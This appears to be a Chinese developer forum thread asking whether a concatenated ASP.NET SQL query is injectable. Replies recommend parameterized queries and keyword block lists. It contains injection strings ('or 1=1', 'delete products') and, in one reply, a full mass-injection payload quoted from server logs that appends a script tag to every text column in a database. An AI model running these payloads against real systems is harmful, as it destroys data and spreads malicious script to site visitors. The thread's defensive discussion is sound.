因为条件不确定,所以程序有时不方便用参数化查询类似这种常见的sql,会被注入吗?
怎么注入呢?我测试下!string color=Request.QueryString["red"];
sqlhelper.execute("select * from products where color=" + color + "");

解决方案 »

  1.   

    只要是拼接起来的SQL都可以被注入的……
      

  2.   

    可以 例如 color = "A' or '1'='1' --"的时候
      

  3.   

    对接收的color值进行验证,或过滤特殊符号。
    如在Global.asax中增加验证:
     protected void Application_BeginRequest(Object sender, EventArgs e)
        {
           
            string SqlStr = System.Configuration.ConfigurationManager.AppSettings["LimitRequest"];
            string[] sql_c = SqlStr.Split('|');        if (Request.QueryString != null)
            {
                foreach (string sl in sql_c)
                {
                    if (Server.UrlDecode(Request.QueryString.ToString()).ToLower().IndexOf(sl) >= 0)
                    {
                        Response.Write("警告!你的IP已经被记录!<br/>");//警告
                        Response.Write("请求地址包含违禁关键字:" + sl + "<br/>");
                        Response.Write("请求地址:" + Request.QueryString.ToString());                    Response.End();
                        break;
                    }
                }
            }        if (Request.Form.Count > 0)
            {            string s1 = Request.ServerVariables["SERVER_NAME"].Trim();//服务器名称
                if (Request.ServerVariables["HTTP_REFERER"] != null)
                {
                    string s2 = Request.ServerVariables["HTTP_REFERER"].Trim();//http接收的名称
                    string s3 = "";
                    if (s1.Length > (s2.Length - 7))
                    {
                        s3 = s2.Substring(7);
                    }
                    else
                    {
                        s3 = s2.Substring(7, s1.Length);
                    }
                    if (s3 != s1)
                    {
                        Response.Write("你的IP已被记录!警告!");//警告                    Response.End();
                    }
                }
            }
        }    配置文件中增加需要过滤的字符:
    <!-- 请求过滤验证,以“|”隔开 -->
    <add key="LimitRequest" value="and |declare |exec |insert |select |delete |update |count |* |chr |mid |master |truncate |char |or |script |join |Create |Drop "/>水平所限,只懂这点。
      

  4.   

    但是我是从URL上获取的,queryString中取的,注入不了啊。。我试了
      

  5.   

    注入测试用例:
    /destination/showsightnews.aspx?id=1&sightnewsid=1;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=['%2b@c%2b']%2bcAsT(0x223E3074207372633D687474703A2F2F25363625373D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR; 
      

  6.   

    先看懂了再测试,我提供的注入木马的测试的,是之前的一个用户的服务器中了后的日志文档里获取的,会在所有的表中的text字段中增加脚本,不要轻易测试。
      

  7.   


    可能你的queryString限制了不允许这样的非法字符  但这并不代表攻击者不会发送这样的字符来攻击你的程序攻击者可以很容易的用发包软件给你的程序发送这样的请求 
      

  8.   

    条件不确定么单独组织Where语句阿,然后再加上对应的参数就可以了阿反正这样直接写就是等着别人来注入
      

  9.   

    可以用 SqlParameter 吧..
      

  10.   

            SqlParameter[] parm = { 
                                             new SqlParameter("@color", SqlDbType.NVarChar, 50)                                       };
            parmGuestbook[0].Value = Request.QueryString["red"];        sql = "select * from products where color= @color";
            SqlHelper.ExecuteNonQuery(ConnectionString, CommandType.Text, sql, parm )
      

  11.   

     赞同过滤特殊字符手段,不过要想彻底的防治SQL注入,需要你用被注入和注入别人网站的经验,比如用2进制,听说这个很N,不过俺也没试过SQL注入别人网站。呵呵。纸上谈兵。
      

  12.   


    如果 red = 'red' or 1=1 的话,那你这句sql就变成了 select * from products where color = 'red' or 1=1 那应该所有的产品都出来了。
      

  13.   

    sqlhelper.execute("select * from products where color=" + color + ""); 
    你的color是字符串吗?
    '  "  + color  + "    '字符串要这么多点的
      

  14.   


    输入 1 and 1 = 1
    试试
    不就查出你所有数据了
      

  15.   


    这种没用的~把sql转2进制还是能注入的。
    即使你关了错误显示,照样能注入你iframe木马,只要你的连接账号有类似sa的权限,并且能注入。
    一般都是用SqlParameter来防止注入的。
      

  16.   

    只要是拼接起来的SQL都可以被注入的……
      

  17.   

    肯定会被注入的,最好用sqlparameter
      

  18.   

    这样写就是等着被注入!
    譬如
    color = '' delete products
      

  19.   

     public bool IsNum(string Str)
        {
            bool f = false;
            if (Str == "")
            {
                return false;
            }
            else
            {
              
                foreach (Char ch in Str)
                {
                    if (!Char.IsNumber(ch))
                    {
                        return true;
                    }
                
                    
                }
            }
            return f;
        }可以过虑非法ID字符啊!试试!
      

  20.   

    你这个随便去查查SQL注入的案例就行了